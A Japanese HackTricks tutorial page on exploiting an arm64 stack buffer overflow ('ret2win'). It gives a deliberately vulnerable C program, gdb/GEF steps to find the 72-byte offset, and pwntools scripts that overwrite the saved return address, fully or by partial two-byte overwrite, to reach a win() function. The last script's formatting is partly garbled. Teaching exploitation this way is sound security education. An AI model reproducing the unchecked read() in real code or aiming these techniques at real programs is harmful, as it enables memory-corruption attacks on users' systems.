Ret2win - arm64

Ret2win - arm64

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

arm64-basic-assembly.md でarm64の紹介を見つける。

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

コンパイル時にPIEとCanaryを無効にしてください。

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

オフセットの検出

パターンオプション

この例は、GEFを使用して作成されました:

GEFを使用してgdbを起動し、パターンを作成して使用します:

gdb -q ./ret2win
pattern create 200
run

arm64は、レジスタx30(侵害されたレジスタ)に含まれるアドレスに戻ろうとします。これを使用してパターンオフセットを見つけることができます。

pattern search $x30

オフセットは72 (9x48) です。

スタックオフセットオプション

最初に、pc レジスタが格納されているスタックアドレスを取得します:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

read()の後にブレークポイントを設定し、read()が実行されるまで継続し、13371337のようなパターンを設定します。

b *vulnerable_function+28
c

このパターンがメモリ内のどこに保存されているかを見つけます:

次に:0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win 関数のアドレスを取得します:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

Exploit(攻撃手法):

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

実際には、これはスタック内の格納されたPCにおいてオフバイ2のようになります。 戻りアドレス全体を上書きするのではなく、最後の2バイトのみ0x06c4 で上書きします。

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

ARM64における別のオフバイワンの例は、https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ で見つけることができます。これは架空の脆弱性における実際のオフバイoneです。

PIEを使用する場合

バイナリを**-no-pie引数なしで**コンパイルします

オフバイ2

リークがない場合、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを知っているので、この場合、勝利関数のオフセット(0x7d4)をリークさせることが可能であり、そのオフセットを使用するだけです:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループに参加**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**

</details>

Last updated